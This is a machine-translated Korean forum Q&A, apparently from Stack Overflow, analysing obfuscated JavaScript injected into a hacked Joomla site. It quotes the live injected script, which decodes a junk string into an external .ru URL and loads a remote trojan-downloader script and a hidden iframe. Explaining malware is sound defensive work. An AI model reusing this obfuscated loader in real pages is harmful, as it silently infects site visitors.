내 Joomla! 웹 사이트가 반복적으로 해킹당했습니다. 누군가 어떻게 든 다음과 같은 쓰레기를 주요 PHP 스크립트에 주입했지만 Joomla를 구성하는 것에 대해 이야기하지는 않습니다. 사이트는 많이 방문하지 않았고 (때로는 내가 그 사이트의 유일한 방문자일지도 모른다는 두려움이 있습니다 …) 사이트를 백업하고 실행하는 데별로 신경 쓰지 않습니다. 결국 처리하겠습니다.
제 질문은이 쓰레기는 어떻게 작동합니까? 나는 그것을 보았고 이것이 어떻게 해를 끼칠 수 있는지 보지 못합니까? 그것이하는 일은 트로이 목마에 감염된 ChangeLog.pdf라는 PDF 파일을 다운로드하려고 시도하는 것입니다.이 파일은 트로이 목마에 감염된 후 열면 Acrobat이 동결되고 컴퓨터에 큰 피해를줍니다. 어떻게 그럴까요, 모르겠어요, 상관 없어요. 그러나 다음 스크립트는 어떻게 다운로드를 호출합니까?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET 에서이 코드를 JS / TrojanDownloader.Agent.NRO 트로이 목마 로 감지했습니다.
답변
replace
거대한 지저분한 문자열 뒤에 있는 호출을 주목하십시오 : .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
.
대부분의 특수 문자를 제거하여 일반 URL로 바꿉니다.
evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
(I 수동 변경 http:
에 evil:
)
정규식은 다음과 같이 단순화 될 수 있습니다. .replace(/[#$@^&()!]/ig, '')
스크립트를 보면 /index.php?ys
동일한 도메인 의 경로 를 포함하는 숨겨진 IFRAME을 삽입하는 매우 간단한 스크립트라는 것을 알 수 있습니다.
Fiddler에서 해당 페이지를 요청했지만 콘텐츠가 없습니다.
답변
이 답변은 악성 JavaScript 코드의 특성을 이해하는 데 도움이 될 수 있지만 Joomla 엔진에 내재 된 허점을 닫는 방법을 찾아야합니다. 사전 패키징 된 프레임 워크는 특히 유닉스, Mac 및 Windows 환경에서 작동하도록 설계되었다는 점을 고려할 때 의도적이든 비 의도적이든 허점에 취약합니다.
내 업무를 수행하려면 클라이언트와 나 자신을 위해 여러 유형의 서버와 시스템에서 많은 도메인, 응용 프로그램 및 프레임 워크를 실행해야합니다. 시간이 지남에 따라 점점 더 많은 봇이 이러한 프레임 워크에 의해 생성 된 백도어 입구의 알려진 허점 / 입구를 찾기 위해 이러한 시스템을 크롤링하는 것을 보았습니다. 내가 거의하지 않는 어떤 유형의 프레임 워크를 사용할 때 좋은 점은, 성가신 허점 / 백도어를 제거하기 위해 전체 파일 구조가 아니더라도 대부분의 이름을 바꾸도록합니다. 최소한 대부분의 봇을 버리는 디렉토리의 이름을 바꿀 수 있지만, 내 방식은 디렉토리뿐만 아니라 전체 파일 구조의 이름 변경을 포함하는 프레임 워크의 특성에 대한 단서를 제공하는 참조를 완전히 제거하는 것입니다. 기본 프레임 워크에 플러그인을 쉽게 추가 할 수 있도록 항상 이전 이름 지정 규칙과 관련된 새 이름 지정 규칙의 맵을 유지하십시오. 이 방법에 익숙해지면 더 빠른 결과를 위해 전체 프레임 워크 파일 구조의 이름을 프로그래밍 방식으로 변경할 수 있습니다. 이는 플러그인 등으로 프레임 워크를 업데이트 할 수 있어야하는 클라이언트를 처리해야 할 때 특히 유용합니다.
답변
그것은 당신에게 제공하기 위해 스크립트 URL에서 정규식을 대체합니다.
참고 : 아래 링크를 따르지 마십시오 ( **
복사 붙여 넣기를 방지하기 위해 삽입 됨).
http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
로 src
답변
regex를 사용하여 쓰레기 문자를 대체하기 위해 replace 함수를 사용합니다. 코드에는 아무런 문제가 없습니다.
........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
답변
로드 스크립트
h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
그리고 그 스크립트 iframe
는 가시성과 함께 로드 됩니다.hidden
h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
답변
전체 내용을 읽으면 문자열 다음에 replace 명령이 있음을 알 수 있습니다.
답변
index *. * 파일의 내 페이지에 동일한 내용이 있습니다. PHP로 내 자신의 코드를 작성하고 있습니다. 제 질문은 이것이 어떻게 작동하는지가 아니라 백도어를 알고 있다면 보호하는 방법을 묻고 있습니다. 양식을 변경하고 $ _POST 및 $ _GET을 <> 및 http : // 등으로 대체했습니다.